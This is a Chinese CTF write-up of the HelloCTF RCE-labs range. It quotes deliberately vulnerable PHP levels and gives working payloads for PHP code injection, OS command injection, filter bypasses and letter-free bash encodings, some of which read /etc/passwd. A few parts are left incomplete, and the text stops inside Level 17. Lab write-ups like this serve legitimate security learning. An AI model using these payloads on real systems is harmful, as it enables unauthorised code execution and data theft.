打靶日记-RCE-labs

前言

靶场题目来自青少年ctf

【RCE-labs】Level 1

第一关没有过滤,hackber传参

a=system('cat get_flag.php'); 查看文件内容

复制代码
<?php
$file_path = "/flag";
if (file_exists($file_path)) {
    $flag = file_get_contents($file_path);
}
else{
    $flag = "HelloCTF{Default_Flag}";
}

// 根目录下默认存有flag但不建议心存侥幸ww



?>

第一次没看直接就把HelloCTF{Default_Flag}交上去了,🤡🤡🤡。然后发现还要输出flag

a=echo $flag;

【RCE-labs】Level 2

复制代码
<?php 
include ("get_flag.php");
global $flag;

session_start(); // 开启 session
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : PHP代码执行函数 --- 

除开在一句话木马中最受欢迎用以直接执行PHP代码的 eval() 函数,PHP还有许多 回调函数 也可以直接或者间接的执行PHP代码。

在该关卡中,你将会从能够执行代码的PHP函数中抽取一个,你需要填充函数的内容来执行某些代码以获取flag(tip:flag存储在 $flag 中,当然你也可以尝试其他方法)。


*/
function hello_ctf($function, $content){
    global $flag;
    $code = $function . "(" . $content . ");";
    echo "Your Code: $code <br>";
    eval($code);
}

function get_fun(){

    $func_list = ['eval','assert','call_user_func','create_function','array_map','call_user_func_array','usort','array_filter','array_reduce','preg_replace'];

    if (!isset($_SESSION['random_func'])) {
        $_SESSION['random_func'] = $func_list[array_rand($func_list)];
    }
    
    $random_func = $_SESSION['random_func'];

    $url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);
    
    echo "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";

    return $_SESSION['random_func'];
}

function start($act){

    $random_func = get_fun();
    
    if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 ------ 或者你可以自己想办法可控它x */
        session_unset();
        session_destroy(); 
    }

    if ($act == "submit"){
        $user_content = $_POST['content']; 
        hello_ctf($random_func, $user_content);
    }
}

isset($_GET['action']) ? start($_GET['action']) : '';

highlight_file(__FILE__);

?>

不是这对吗,这一关的代码怎么这么长,压力ai啊也是终于看懂了。这点代码要从下望上看,首先get传入一个action,若 action=r:清除 session,下次访问会重新随机函数(重置功能若 action=submit:读取 POST 参数content(用户输入),调用 hello_ctf() 执行代码。这里输入?action=1,然后就会调用get_fun函数。

get_fun函数给出一个列表,然后随机给出一个函数,并给出目标url查看函数用法,最后到hello_ctf函数,这是action的值是sumbit,post传参content,content与给出的函数进行拼接执行,回显flag

代码流程就是这样,

首先?action=1获取函数preg_replace(随机的)这是一个替换函数

preg_replace

复制代码
preg_replace($pattern, $replacement, $subject [, $limit = -1 [, &$count]]);

$pattern:正则表达式模式(可以是字符串或数组)

$replacement:替换内容(可以是字符串或数组)

$subject:要处理的字符串或数组

返回值:替换后的字符串或数组

搜索 subject 中匹配 pattern 的部分,以 replacement 进行替换。

当使用 e 修饰符时,$replacement 参数会被当作 PHP 代码执行,然后将执行结果作为替换内容。

content的内容为

'/(.*)/ei', 'print_r("\\1")', {print_r(flag)});

'/(.*)/ei'是匹配所有字符串,'print_r("\\1")',\\1 引用第一个捕获组的内容, {print_r(flag)})这里应该是变量当做字符串处理了。

假设$flag=123,

{print_r(flag)})=$123

这里应该$123当做字符串处理(纯属个人猜测,错误请指出)然后输出字符串。

array_map

array_map 是 PHP 中的一个数组处理函数,它的作用是将一个回调函数应用到数组的每个元素上,

复制代码
array_map(callable $callback, array $array1 [, array $... ])

$callback:回调函数(要应用到数组元素的函数)

$array1:需要处理的数组

返回值:处理后的新数组

回调函数 用var_dump,处理的数组 ['$flag']

get

?action=submit

post

content='var_dump', [$flag],得到flag

这里选用的要是回调函数不能是eval assert等

在 PHP 中,eval() 是一个语言构造器(language construct),而非普通函数,这意味着它有一些特殊的行为限制:

不能像普通函数那样作为回调参数传递(比如给 array_mapcall_user_func 等)不能被变量函数调用(如 $func = 'eval'; $func(); 会报错)不能用于函数式编程中的高阶函数场景

可以用var_dump,print_r

array_filter

array_filter 是 PHP 中用于过滤数组元素的函数,它会将数组的每个元素传给回调函数,根据回调函数的返回值决定是否保留该元素

构造payload

content=[$flag], 'var_dump'

call_user_func_array

call_user_func_array 是 PHP 中用于调用回调函数并传递数组参数的函数,其基本语法为:

复制代码
call_user_func_array(callable $callback, array $param_arr)

$callback:要调用的回调函数

$param_arr:包含参数的数组,数组元素会被作为参数传递给回调函数

返回值:回调函数的返回值

payload

content='var_dump',[flag\]或者是'print_r',\[flag]

eval

eval把字符串作为PHP代码执行,payload

content='echo $flag;'

create_function

create_function() 是 PHP 中一个用于动态创建匿名函数的内置函数,不过需要注意的是,这个函数在 PHP 7.2.0 中已被废弃,并且在 PHP 8.0.0 中被移除。现在更推荐使用匿名函数(闭包)语法来替代它。

复制代码
create_function(string $args, string $code): string

$args:函数的参数列表,格式类似普通函数的参数定义(如 '$a, $b'

$code:函数体代码,以字符串形式传入(如 'return $a + $b;'

返回值:生成的匿名函数的唯一标识符(字符串)

我们需要创建一个函数,而且还要执行

'a','var_dump(flag);')('$a'

这个是拼接create_function('a','var_dump(flag);')('$a');构造且调用了,

但是返回的是null

询问ai后得到答案,create_function 里的作用域无法自动继承全局变量 ,需要声明一下

a','global flag;var_dump(flag);')('a'

或者另解:

content='a','echo system(\\'ls\\');')('a'

由于引号嵌套,用\转义

content='a','echo system(\\'cat get_flag.php\\');')('a'

content='a','echo file_get_contents("/flag");')('a'

call_user_func

call_user_func 是 PHP 中用于调用回调函数的函数,它可以将第一个参数作为回调函数,后续参数作为该回调函数的参数。基本语法为:

复制代码
call_user_func(callable $callback [, mixed $parameter [, mixed $... ]])

$callback:要调用的回调函数(可以是函数名、匿名函数等)

$parameter:传递给回调函数的参数(可以有多个)

返回值:回调函数的返回值

content='var_dump',$flag

这个参数是flag,而不是'flag',不然会被解析为字符串

assert

assert()会将字符串当做php代码执行类似于echo,

assert('echo $flag;');

这个答案是错的,因为

echo 是语言结构,不是表达式;

assert() 期待一个表达式(如函数或比较表达式);

所以不能写 'echo $flag;',但可以写 'var_dump($flag)'

usort

usort() 是 PHP 的一个数组排序函数,它可以通过用户自定义的比较函数来排序数组。在 CTF 和安全测试中,它可以被利用来执行任意代码。

第一个参数是变量,第二个参数是函数,payload

content=x,print_r(flag)

array_reduce

array_reduce 是 PHP 中用于通过回调函数迭代地将数组简化为单个值的函数,基本语法为:

复制代码
array_reduce(array $array, callable $callback [, mixed $initial = null ])

$array:要处理的数组

$callback:回调函数,接收两个参数(累计值和当前元素),返回新的累计值

$initial:可选的初始值,作为第一次迭代的累计值(可选)

跟usort同一个payload。

【RCE-labs】Level 3

复制代码
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 --- 

「命令执行(Command Execution)」 通常指的是在操作系统层面上执行预定义的指令或脚本。这些命令最终的指向通常是系统命令,如Windows中的CMD命令或Linux中的Shell命令,这在语言中可以体现为一些特定的函数或者方法调用,如PHP中的`shell_exec()`函数或Python中的`os.system()`函数。

当漏洞入口点只能执行系统命令时,我们可以称该漏洞为命令执行漏洞,如下面修改过的 "一句话木马":

try POST:
    a=cat /etc/passwd;

*/

system($_POST['a']);

highlight_file(__FILE__);


?>

post传参就行了,

a=cat /flag

【RCE-labs】Level 4

复制代码
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - SHELL 运算符 --- 

https://www.runoob.com/linux/linux-shell-basic-operators.html

SHELL 运算符 可以用于控制命令的执行流程,使得你能够根据条件执行不同的命令。

&&(逻辑与运算符): 只有当第一个命令 cmd_1 执行成功(返回值为 0)时,才会执行第二个命令 cmd_2。例:  mkdir test && cd test

||(逻辑或运算符): 只有当第一个命令 cmd_1 执行失败(返回值不为 0)时,才会执行第二个命令 cmd_2。例:  cd nonexistent_directory || echo "Directory not found"

&(后台运行符): 将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2,两个命令并行执行。例:  sleep 10 & echo "This will run immediately."

;(命令分隔符): 无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2。例:  echo "Hello" ; echo "World"


try GET:
    ?ip=8.8.8.8
flag is /flag
*/

function hello_server($ip){
    system("ping -c 1 $ip");
}

isset($_GET['ip']) ? hello_server($_GET['ip']) : null;

highlight_file(__FILE__);


?>

?ip=127.0.0.1;cat%20/flag

?ip=1.1.1.1%26%26cat%20/flag (&需要url编码)

?ip=||cat%20/flag

?ip=1.1.1.1%26cat%20/flag

【RCE-labs】Level 5

复制代码
 <?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 终端特性_空字符忽略和通配符 --- 

在Shell中,单/双引号 "/' 可以用来定义一个空字符串或保护包含空格或特殊字符的字符串。
例如:echo "$"a 会输出 $a,而 echo $a 会输出变量a的值,当只有""则表示空字符串,Shell会忽略它。

*(星号): 匹配零个或多个字符。例子: *.txt。
?(问号): 匹配单个字符。例子: file?.txt。
[](方括号): 匹配方括号内的任意一个字符。例子: file[1-3].txt。
[^](取反方括号): 匹配不在方括号内的字符。例子: file[^a-c].txt。
{}(大括号): 匹配大括号内的任意一个字符串。例子: file{1,2,3}.txt。

通过组合上述技巧,我们可以用于绕过CTF中一些简单的过滤:

system("c''at /e't'c/pass?d");
system("/???/?at /e't'c/pass?d");
system("/???/?at /e't'c/*ss*");
...


*/

function hello_shell($cmd){
    if(preg_match("/flag/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

这一题payload有很多,写两个?cmd=cat / fl""ag;?cmd=cat /fla*;

【RCE-labs】Level 6

复制代码
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 挑战关 --- 

刚才,学了什么来着!?

*/

function hello_shell($cmd){
    if(preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

过滤了b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]],但是a和/能用,这里可以构造

?cmd=/???/?a?%20/??a? /bin/cat /flag

?cmd=/???/?a??64 /??a?/ /bin/base64 /flag

【RCE-labs】Level 7

复制代码
 <?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 终端特殊字符 --- 

在遇到空格被过滤的情况下,通常使用 %09 也就是TAB的URL编码来绕过,在终端环境下 空格 被视为一个命令分隔符,本质上由 $IFS 变量控制,而 $IFS 的默认值是空格、制表符和换行符,所以我们还可以通过直接键入 $IFS 来绕过空格过滤。


*/

function hello_shell($cmd){
    if(preg_match("/flag| /", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

这一关过滤了空格和flag字符串,注释里有提示,用%09绕过空格,

?cmd=cat%09/fl""ag

同时也可以用IFS,{IFS},

【RCE-labs】Level 8

复制代码
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 重定向 --- 

大多数 UNIX 系统命令从你的终端接受输入并将所产生的输出发送回​​到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端 ------ 这些是命令有回显的基础。

如果希望执行某个命令,但又不希望在屏幕上显示输出结果,那么可以将输出重定向到 /dev/null:
$ command > /dev/null

/dev/null 是一个特殊的文件,写入到它的内容都会被丢弃;如果尝试从该文件读取内容,那么什么也读不到。但是 /dev/null 文件非常有用,将命令的输出重定向到它,会起到"禁止输出"的效果。
如果希望屏蔽 stdout 和 stderr,可以这样写:
$ command > /dev/null 2>&1

*/

function hello_shell($cmd){
    /*>/dev/null 将不会有任何回显,但会回显错误,加上 2>&1 后连错误也会被屏蔽掉*/
    system($cmd.">/dev/null 2>&1");
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

这里可以用shell符

?cmd=cat /flag>1.txt;

?cmd=cat /flag;

?cmd=cat /flag||

运用 ;执行多条命令

cat /flag>1.txt;>/dev/null 2>&1 拼接后先执行cat /flag>1.txt,后面是一条空命令不影响。

【RCE-labs】Level 9

复制代码
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_八进制转义 ---

题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用

从该关卡开始你会发现我们在Dockerfile中添加了一行改动:

RUN ln -sf /bin/bash /bin/sh

这是由于在PHP中,system是执行sh的,sh通常只是一个软连接,并不是真的有一个shell叫sh。在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash,我们用的底层镜像 php:7.3-fpm-alpine 默认指向的 /bin/busybox ,要验证这一点,你可以对 /bin/sh 使用 ls -l 命令查看,在这个容器中,你会得到下面的回显:
bash-5.1# ls -l /bin/sh
lrwxrwxrwx    1 root     root            12 Mar 16  2022 /bin/sh -> /bin/busybox

我们需要用到的特性只有bash才支持,请记住这一点,这也是我们手动修改指向的原因。

在这个关卡主要利用的是在终端中,$'\xxx'可以将八进制ascii码解析为字符,仅基于这个特性,我们可以将传入的命令的每一个字符转换为$'\xxx\xxx\xxx\xxx'的形式,但是注意,这种方式在没有空格的情况下无法执行带参数的命令。
比如"ls -l"也就是$'\154\163\40\55\154' 只能拆分为$'\154\163' 空格 $'\55\154'三部分。

bash-5.1# $'\154\163\40\55\154'
bash: ls -l: command not found

bash-5.1# $'\154\163' $'\55\154'
total 4
-rw-r--r--    1 www-data www-data       829 Aug 14 19:39 index.php

*/

function hello_shell($cmd){
    if(preg_match("/[A-Za-z\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

根据只是构造payload

?cmd=%27\\143\\141\\164%27%20%27\57\146\154\141\147%27

这里分三部分

$'\143\141\164' cat

空格

$'\57\146\154\141\147' /falg

【RCE-labs】Level 10

复制代码
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_二进制整数替换 --- 

题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用

本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据。

*/

function hello_shell($cmd){
    if(preg_match("/[A-Za-z2-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

允许使用 0 1 :$()#={}!~

这里直接使用给的工具写记性,最后payload需要url编码才行,直接用是不行的

?cmd=

复制代码
%240%3C%3C%3C%240%5C%3C%5C%3C%5C%3C%5C%24%5C%27%5C%5C%24%28%28%24%28%281%3C%3C1%29%29%2310001111%29%29%5C%5C%24%28%28%24%28%281%3C%3C1%29%29%2310001101%29%29%5C%5C%24%28%28%24%28%281%3C%3C1%29%29%2310100100%29%29%5C%5C%24%28%28%24%28%281%3C%3C1%29%29%23101000%29%29%5C%5C%24%28%28%24%28%281%3C%3C1%29%29%23111001%29%29%5C%5C%24%28%28%24%28%281%3C%3C1%29%29%2310010010%29%29%5C%5C%24%28%28%24%28%281%3C%3C1%29%29%2310011010%29%29%5C%5C%24%28%28%24%28%281%3C%3C1%29%29%2310001101%29%29%5C%5C%24%28%28%24%28%281%3C%3C1%29%29%2310010011%29%29%5C%27

【RCE-labs】Level 11

复制代码
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_数字1的特殊变量替换 --- 

题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用

本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据 + 我们用 ${##} 来替换 1 

*/

function hello_shell($cmd){
    if(preg_match("/[A-Za-z1-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_POST['cmd']) ? hello_shell($_POST['cmd']) : null;

highlight_file(__FILE__);


?>

跟上一关差不多,不过注意这是post传参

cmd=0%3C%3C%3C0\%3C\%3C\%3C\\\%27\\\\(((({##}%3C%3C{##}))#{##}000{##}{##}{##}{##}))\\(((({##}%3C%3C{##}))#{##}000{##}{##}0{##}))\\(((({##}%3C%3C{##}))#{##}0{##}00{##}00))\\\\(((({##}%3C%3C{##}))#{##}0{##}000))\\\\(((({##}%3C%3C{##}))#{##}{##}{##}00{##}))\\\\(((({##}%3C%3C{##}))#{##}00{##}00{##}0))\\(((({##}%3C%3C{##}))#{##}00{##}{##}0{##}0))\\(((({##}%3C%3C{##}))#{##}000{##}{##}0{##}))\\(((({##}%3C%3C{##}))#{##}00{##}00{##}{##}))\'

【RCE-labs】Level 12

同上

{!#}\<\<\<{!#}\<\<\<\\\'\\\\(((({##}<<{##}))#{##}{#}{#}{#}{##}{##}{##}{##}))\\\\(((({##}<<{##}))#{##}{#}{#}{#}{##}{##}{#}{##}))\\\\(((({##}<<{##}))#{##}{#}{##}{#}{#}{##}{#}{#}))\\\\(((({##}<<{##}))#{##}{#}{##}{#}{#}{#}))\\\\(((({##}<<{##}))#{##}{##}{##}{#}{#}{##}))\\\\(((({##}<<{##}))#{##}{#}{#}{##}{#}{#}{##}{#}))\\\\(((({##}<<{##}))#{##}{#}{#}{##}{##}{#}{##}{#}))\\\\(((({##}<<{##}))#{##}{#}{#}{#}{##}{##}{#}{##}))\\\\(((({##}<<{##}))#{##}{#}{#}{##}{#}{#}{##}{##}))\\'{!#}<<<{!#}\\\<\\\<\\\<\\\'\\(((({##}\<\<{##}))#{##}{#}{#}{#}{##}{##}{##}{##}))\\(((({##}\<\<{##}))#{##}{#}{#}{#}{##}{##}{#}{##}))\\(((({##}\<\<{##}))#{##}{#}{##}{#}{#}{##}{#}{#}))\\(((({##}\<\<{##}))#{##}{#}{##}{#}{#}{#}))\\(((({##}\<\<{##}))#{##}{##}{##}{#}{#}{##}))\\(((({##}\<\<{##}))#{##}{#}{#}{##}{#}{#}{##}{#}))\\(((({##}\<\<{##}))#{##}{#}{#}{##}{##}{#}{##}{#}))\\(((({##}\<\<{##}))#{##}{#}{#}{#}{##}{##}{#}{##}))\\(((({##}\<\<{##}))#{##}{#}{#}{##}{#}{#}{##}{##}))\'

【RCE-labs】Level 13

这不得不感慨一下这个工具真好用👍

?cmd=

复制代码
__%3D%24%28%28%29%29%26%26%24%7B%21__%7D%3C%3C%3C%24%7B%21__%7D%5C%3C%5C%3C%5C%3C%5C%24%5C%27%5C%5C%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%5C%5C%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%5C%5C%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%5C%5C%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%29%29%5C%5C%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%5C%5C%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%5C%5C%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%5C%5C%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%5C%5C%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%5C%27

【RCE-labs】Level 14

开幕雷击 too long 我啥也没传类就 too long, 7字符rce ,这一题啥也没给而且也不给参数名,这边建议优化一下。看wp才知道,get 参数名是1

?1=ls,源码

复制代码
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 长度限制_7字符RCE --- 


*/

if(isset($_GET[1]) && strlen($_GET[1]) < 8){
    echo strlen($_GET[1]);
    echo '<hr/>';
    echo shell_exec($_GET[1]);
}else{
    exit('too long');
}

highlight_file(__FILE__);


?>

这里用通配符匹配

?cmd=cat /f*

【RCE-labs】Level 15

【RCE-labs】Level 17

复制代码
<?php 
session_start(); 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - PHP命令执行函数 --- 

喵喵喵ww https://www.php.net/manual/zh/ref.exec.php

system() 函数用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行)。eg:system('cat /etc/passwd');
exec() 函数可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。eg:exec('cat /etc/passwd', $result); print_r($result);
shell_exec() 函数执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。eg:echo shell_exec('cat /etc/passwd');
passthru() 函数执行系统命令并将执行结果输出到页面中,支持二进制数据。eg:passthru('cat /etc/passwd');
popen() 函数执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。eg:$result = popen('cat /etc/passwd', 'r'); echo fread($result, 100);
反引号 用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。eg:echo \cat /etc/passwd`;`

在该关卡中,你将会从能够执行系统命令的PHP函数中抽取一个,你需要填充函数的内容来执行某些系统命令以获取flag(tip:flag存储在 /flag 中,当然你也可以尝试其他方法)。


*/
function hello_ctf($function, $content){
    if($function == '``'){
        $code = '`'.$content.'`';
        echo "Your Code: $code <br>";
        eval("echo $code");
    }else
    {
        $code = $function . "(" . $content . ");";
        echo "Your Code: $code <br>";
        eval($code);
    } 
    
}

function get_fun(){

    $func_list = ['system', 'exec', 'shell_exec', 'passthru', 'popen','``'];

    if (!isset($_SESSION['random_func'])) {
        $_SESSION['random_func'] = $func_list[array_rand($func_list)];
    }
    
    $random_func = $_SESSION['random_func'];

    $url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);

    echo $random_func == '``' ? "获得隐藏运算符: 执行运算符 ,去 https://www.php.net/manual/zh/language.operators.execution.php 详情。<br>" : "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";

    return $_SESSION['random_func'];
}

function start($act){

    $random_func = get_fun();
    
